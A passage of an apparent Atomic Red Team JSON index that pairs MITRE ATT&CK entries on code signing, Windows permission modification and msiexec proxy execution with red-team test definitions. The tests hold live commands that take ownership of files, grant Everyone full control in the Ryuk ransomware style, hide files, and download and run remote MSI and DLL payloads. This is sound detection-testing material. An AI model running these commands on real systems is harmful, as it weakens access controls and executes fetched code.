"mitre-attack", - "external_id": "T1553.002", - "url": "https://attack.mitre.org/techniques/T1553/002" - }, - { - "url": "https://en.wikipedia.org/wiki/Code_signing", - "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", - "source_name": "Wikipedia Code Signing" - }, - { - "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", - "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", - "source_name": "Securelist Digital Certificates" - }, - { - "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", - "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.", - "source_name": "Symantec Digital Certificates" - } - ], - "modified": "2020-02-10T19:51:01.601Z", - "name": "Code Signing", - "description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing) \n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Metadata" - ], - "x_mitre_defense_bypassed": [ - "Windows User Account Control" - ] - }, - "atomic_tests": [] - }, - "T1222.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", - "type": "attack-pattern", - "created": "2020-02-04T19:17:41.767Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1222.001", - "url": "https://attack.mitre.org/techniques/T1222/001" - }, - { - "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100", - "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", - "source_name": "Hybrid Analysis Icacls1 June 2018" - }, - { - "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110", - "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", - "source_name": "Hybrid Analysis Icacls2 May 2018" - }, - { - "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces", - "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.", - "source_name": "Microsoft DACL May 2018" - }, - { - "source_name": "Microsoft Access Control Lists May 2018", - "url": "https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists", - "description": "M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020." - }, - { - "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/", - "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.", - "source_name": "EventTracker File Permissions Feb 2014" - } - ], - "modified": "2020-09-01T20:05:05.268Z", - "name": "File and Directory Permissions Modification: Windows File and Directory Permissions Modification", - "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Active Directory: Active Directory Object Modification", - "File: File Metadata", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ], - "identifier": "T1222.001" - }, - "atomic_tests": [ - { - "name": "Take ownership using takeown utility", - "auto_generated_guid": "98d34bb4-6e75-42ad-9c41-1dae7dc6a001", - "description": "Modifies the filesystem permissions of the specified file or folder to take ownership of the object. Upon execution, \"SUCCESS\" will\nbe displayed for the folder and each file inside of it.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_folder_to_own": { - "description": "Path of the file or folder for takeown to take ownership.", - "type": "path", - "default": "%temp%\\T1222.001_takeown_folder" - } - }, - "dependency_executor_name": "command_prompt", - "dependencies": [ - { - "description": "Test requrires a file to take ownership of to be located at (#{file_folder_to_own})\n", - "prereq_command": "IF EXIST #{file_folder_to_own} ( EXIT 0 ) ELSE ( EXIT 1 )\n", - "get_prereq_command": "mkdir #{file_folder_to_own}\necho T1222.001_takeown1 >> #{file_folder_to_own}\\T1222.001_takeown1.txt\necho T1222.001_takeown2 >> #{file_folder_to_own}\\T1222.001_takeown2.txt\n" - } - ], - "executor": { - "command": "takeown.exe /f #{file_folder_to_own} /r\n", - "name": "command_prompt" - } - }, - { - "name": "cacls - Grant permission to specified user or group recursively", - "auto_generated_guid": "a8206bcc-f282-40a9-a389-05d9c0263485", - "description": "Modifies the filesystem permissions of the specified folder and contents to allow the specified user or group Full Control. If \"Access is denied\"\nis displayed it may be because the file or folder doesn't exit. Run the prereq command to create it. Upon successfull execution, \"Successfully processed 3 files\"\nwill be displayed.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_or_folder": { - "description": "Path of the file or folder to change permissions.", - "type": "path", - "default": "%temp%\\T1222.001_cacls" - }, - "user_or_group": { - "description": "User or group to allow full control", - "type": "string", - "default": "Everyone" - } - }, - "dependency_executor_name": "command_prompt", - "dependencies": [ - { - "description": "Test requrires a file to modify to be located at (#{file_or_folder})\n", - "prereq_command": "IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 )\n", - "get_prereq_command": "mkdir #{file_or_folder}\necho T1222.001_cacls1 >> #{file_or_folder}\\T1222.001_cacls1.txt\necho T1222.001_cacls2 >> #{file_or_folder}\\T1222.001_cacls2.txt\n" - } - ], - "executor": { - "command": "icacls.exe #{file_or_folder} /grant #{user_or_group}:F\n", - "name": "command_prompt" - } - }, - { - "name": "attrib - Remove read-only attribute", - "auto_generated_guid": "bec1e95c-83aa-492e-ab77-60c71bbd21b0", - "description": "Removes the read-only attribute from a file or folder using the attrib.exe command. Upon execution, no output will be displayed.\nOpen the file in File Explorer > Right Click - Prperties and observe that the Read Only checkbox is empty.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_or_folder": { - "description": "Path of the file or folder remove attribute.", - "type": "path", - "default": "%temp%\\T1222.001_attrib" - } - }, - "dependency_executor_name": "command_prompt", - "dependencies": [ - { - "description": "Test requrires a file to modify to be located at (#{file_or_folder})\n", - "prereq_command": "IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 )\n", - "get_prereq_command": "mkdir #{file_or_folder}\necho T1222.001_attrib1 >> #{file_or_folder}\\T1222.001_attrib1.txt\necho T1222.001_attrib2 >> #{file_or_folder}\\T1222.001_attrib2.txt\nattrib.exe +r #{file_or_folder}\\T1222.001_attrib1.txt\nattrib.exe +r #{file_or_folder}\\T1222.001_attrib2.txt\n" - } - ], - "executor": { - "command": "attrib.exe -r #{file_or_folder}\\*.* /s\n", - "name": "command_prompt" - } - }, - { - "name": "attrib - hide file", - "auto_generated_guid": "32b979da-7b68-42c9-9a99-0e39900fc36c", - "description": "Attackers leverage an existing Windows binary, attrib.exe, to mark specific files or folder as hidden by using specific flags so that\nthe victim does not see the file.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_or_folder": { - "description": "Path of the files to hide.", - "type": "path", - "default": "%temp%\\T1222.001_attrib_2" - } - }, - "executor": { - "command": "mkdir #{file_or_folder} >nul 2>&1\necho T1222.001_attrib1 >> #{file_or_folder}\\T1222.001_attrib1.txt\necho T1222.001_attrib2 >> #{file_or_folder}\\T1222.001_attrib2.txt\nattrib.exe +h #{file_or_folder}\\T1222.001_attrib1.txt\nattrib.exe +h #{file_or_folder}\\T1222.001_attrib2.txt\n", - "cleanup_command": "del /A:H #{file_or_folder}\\T1222.001_attrib*.txt >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Grant Full Access to folder for Everyone - Ryuk Ransomware Style", - "auto_generated_guid": "ac7e6118-473d-41ec-9ac0-ef4f1d1ed2f6", - "description": "Invokes the command line similar to that used by Ryuk Ransomware to grant full access to the entire C:\\ drive for Everyone.\n**icacls \"C:\\*\" /grant Everyone:F /T /C /Q**\nHowever, for this atomic we set the permission on C:\\Users\\Public so it completes faster and doesn't irreversibly affect the host.\nYou can set your own path variable to \"C:\\*\" if you prefer.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "path": { - "description": "Path of folder to recursively set permissions on", - "type": "path", - "default": "C:\\Users\\Public\\*" - }, - "file_path": { - "description": "Path of folder permission back", - "type": "path", - "default": "%temp%\\T1222.001-folder-perms-backup.txt" - } - }, - "dependency_executor_name": "command_prompt", - "dependencies": [ - { - "description": "Backup of original folder permissions should exist (for use in cleanup commands)\n", - "prereq_command": "IF EXIST #{file_path} ( EXIT 0 ) ELSE ( EXIT 1 )\n", - "get_prereq_command": "icacls #{path} /save #{file_path} /t /q >nul 2>&1\n" - } - ], - "executor": { - "command": "icacls \"#{path}\" /grant Everyone:F /T /C /Q", - "cleanup_command": "icacls '#{path}' /restore #{file_path} /q >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1218.007": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Ziv Kaspersky, Cymptom", - "Alexandros Pappas" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", - "created": "2020-01-24T14:38:49.266Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1218.007", - "url": "https://attack.mitre.org/techniques/T1218/007" - }, - { - "source_name": "TrendMicro Msiexec Feb 2018", - "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/", - "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019." - }, - { - "source_name": "LOLBAS Msiexec", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/", - "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019." - }, - { - "source_name": "Microsoft msiexec", - "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", - "description": "Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020." - }, - { - "source_name": "Microsoft AlwaysInstallElevated 2018", - "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated", - "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)", - "modified": "2022-04-19T17:33:16.346Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Signed Binary Proxy Execution: Msiexec", - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Network Traffic: Network Connection Creation", - "Command: Command Execution", - "Module: Module Load" - ], - "x_mitre_defense_bypassed": [ - "Digital Certificate Validation", - "Application control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1218.007" - }, - "atomic_tests": [ - { - "name": "Msiexec.exe - Execute Local MSI file with embedded JScript", - "auto_generated_guid": "a059b6c4-e7d6-4b2e-bcd7-9b2b33191a04", - "description": "Executes an MSI containing embedded JScript code using msiexec.exe\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "msi_payload": { - "description": "MSI file to execute", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi" - }, - "msi_exe": { - "description": "MSIExec File Path", - "type": "path", - "default": "c:\\windows\\system32\\msiexec.exe" - }, - "action": { - "description": "Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.\n", - "type": "string", - "default": "i" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n", - "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi\" -OutFile \"#{msi_payload}\"\n" - } - ], - "executor": { - "command": "#{msi_exe} /q /#{action} \"#{msi_payload}\"\n", - "name": "command_prompt" - } - }, - { - "name": "Msiexec.exe - Execute Local MSI file with embedded VBScript", - "auto_generated_guid": "8d73c7b0-c2b1-4ac1-881a-4aa644f76064", - "description": "Executes an MSI containing embedded VBScript code using msiexec.exe\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "msi_payload": { - "description": "MSI file to execute", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi" - }, - "msi_exe": { - "description": "MSIExec File Path", - "type": "path", - "default": "c:\\windows\\system32\\msiexec.exe" - }, - "action": { - "description": "Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.\n", - "type": "string", - "default": "i" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n", - "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi\" -OutFile \"#{msi_payload}\"\n" - } - ], - "executor": { - "command": "#{msi_exe} /q /#{action} \"#{msi_payload}\"\n", - "name": "command_prompt" - } - }, - { - "name": "Msiexec.exe - Execute Local MSI file with an embedded DLL", - "auto_generated_guid": "628fa796-76c5-44c3-93aa-b9d8214fd568", - "description": "Executes an MSI containing an embedded DLL using msiexec.exe\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "msi_payload": { - "description": "MSI file to execute", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi" - }, - "msi_exe": { - "description": "MSIExec File Path", - "type": "path", - "default": "c:\\windows\\system32\\msiexec.exe" - }, - "action": { - "description": "Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.\n", - "type": "string", - "default": "i" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n", - "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi\" -OutFile \"#{msi_payload}\"\n" - } - ], - "executor": { - "command": "#{msi_exe} /q /#{action} \"#{msi_payload}\"\n", - "name": "command_prompt" - } - }, - { - "name": "Msiexec.exe - Execute Local MSI file with an embedded EXE", - "auto_generated_guid": "ed3fa08a-ca18-4009-973e-03d13014d0e8", - "description": "Executes an MSI containing an embedded EXE using msiexec.exe\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "msi_payload": { - "description": "MSI file to execute", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi" - }, - "msi_exe": { - "description": "MSIExec File Path", - "type": "path", - "default": "c:\\windows\\system32\\msiexec.exe" - }, - "action": { - "description": "Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.\n", - "type": "string", - "default": "i" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n", - "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi\" -OutFile \"#{msi_payload}\"\n" - } - ], - "executor": { - "command": "#{msi_exe} /q /#{action} \"#{msi_payload}\"\n", - "name": "command_prompt" - } - }, - { - "name": "WMI Win32_Product Class - Execute Local MSI file with embedded JScript", - "auto_generated_guid": "882082f0-27c6-4eec-a43c-9aa80bccdb30", - "description": "Executes an MSI containing embedded JScript code using the WMI Win32_Product class\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "msi_payload": { - "description": "MSI file to execute", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi" - }, - "action": { - "description": "Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.\n", - "type": "string", - "default": "Install" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n", - "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi\" -OutFile \"#{msi_payload}\"\n" - } - ], - "executor": { - "command": "Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }\n", - "name": "powershell" - } - }, - { - "name": "WMI Win32_Product Class - Execute Local MSI file with embedded VBScript", - "auto_generated_guid": "cf470d9a-58e7-43e5-b0d2-805dffc05576", - "description": "Executes an MSI containing embedded VBScript code using the WMI Win32_Product class\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "msi_payload": { - "description": "MSI file to execute", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi" - }, - "action": { - "description": "Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.\n", - "type": "string", - "default": "Install" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n", - "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi\" -OutFile \"#{msi_payload}\"\n" - } - ], - "executor": { - "command": "Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }\n", - "name": "powershell" - } - }, - { - "name": "WMI Win32_Product Class - Execute Local MSI file with an embedded DLL", - "auto_generated_guid": "32eb3861-30da-4993-897a-42737152f5f8", - "description": "Executes an MSI containing an embedded DLL using the WMI Win32_Product class\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "msi_payload": { - "description": "MSI file to execute", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi" - }, - "action": { - "description": "Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.\n", - "type": "string", - "default": "Install" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n", - "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi\" -OutFile \"#{msi_payload}\"\n" - } - ], - "executor": { - "command": "Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }\n", - "name": "powershell" - } - }, - { - "name": "WMI Win32_Product Class - Execute Local MSI file with an embedded EXE", - "auto_generated_guid": "55080eb0-49ae-4f55-a440-4167b7974f79", - "description": "Executes an MSI containing an embedded EXE using the WMI Win32_Product class\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "msi_payload": { - "description": "MSI file to execute", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi" - }, - "action": { - "description": "Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.\n", - "type": "string", - "default": "Install" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n", - "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi\" -OutFile \"#{msi_payload}\"\n" - } - ], - "executor": { - "command": "Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }\n", - "name": "powershell" - } - }, - { - "name": "Msiexec.exe - Execute the DllRegisterServer function of a DLL", - "auto_generated_guid": "0106ffa5-fab6-4c7d-82e3-e6b8867d5e5d", - "description": "Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the \"bin\" folder is only built for 64-bit, so this won't work on a 32-bit OS.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "dll_payload": { - "description": "DLL to execute that has an implemented DllRegisterServer function", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll" - }, - "msi_exe": { - "description": "MSIExec File Path", - "type": "path", - "default": "c:\\windows\\system32\\msiexec.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The DLL must exist on disk at specified location (#{dll_payload})\n", - "prereq_command": "if (Test-Path #{dll_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile \"#{dll_payload}\"\n" - } - ], - "executor": { - "command": "#{msi_exe} /y \"#{dll_payload}\"\n", - "name": "command_prompt" - } - }, - { - "name": "Msiexec.exe - Execute the DllUnregisterServer function of a DLL", - "auto_generated_guid": "ab09ec85-4955-4f9c-b8e0-6851baf4d47f", - "description": "Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the \"bin\" folder is only built for 64-bit, so this won't work on a 32-bit OS.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "dll_payload": { - "description": "DLL to execute that has an implemented DllUnregisterServer function", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll" - }, - "msi_exe": { - "description": "MSIExec File Path", - "type": "path", - "default": "c:\\windows\\system32\\msiexec.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The DLL must exist on disk at specified location (#{dll_payload})\n", - "prereq_command": "if (Test-Path #{dll_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile \"#{dll_payload}\"\n" - } - ], - "executor": { - "command": "#{msi_exe} /z \"#{dll_payload}\"\n", - "name": "command_prompt" - } - }, - { - "name": "Msiexec.exe - Execute Remote MSI file", - "auto_generated_guid": "44a4bedf-ffe3-452e-bee4-6925ab125662", - "description": "Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "msi_payload": { - "description": "MSI file to execute", - "type": "string", - "default": "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi" - }, - "msi_exe": { - "description": "MSIExec File Path", - "type": "path", - "default": "c:\\windows\\system32\\msiexec.exe" - } - }, - "executor": { - "command": "#{msi_exe} /q /i \"#{msi_payload}\"\n", - "name": "command_prompt" - } - } - ] - }, - "T1556.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Vincent Le Toux" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42", - "type": "attack-pattern", - "created": "2020-02-11T19:05:45.829Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1556.002", - "url": "https://attack.mitre.org/techniques/T1556/002" - }, - { - "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html", - "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.", - "source_name": "Carnal Ownage Password Filters Sept 2013" - }, - { - "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/", - "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", - "source_name": "Clymb3r Function Hook Passwords Sept 2013" - } - ], - "modified": "2021-04-20T20:11:55.147Z", - "name": "Modify Authentication Process: Password Filter DLL", - "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as 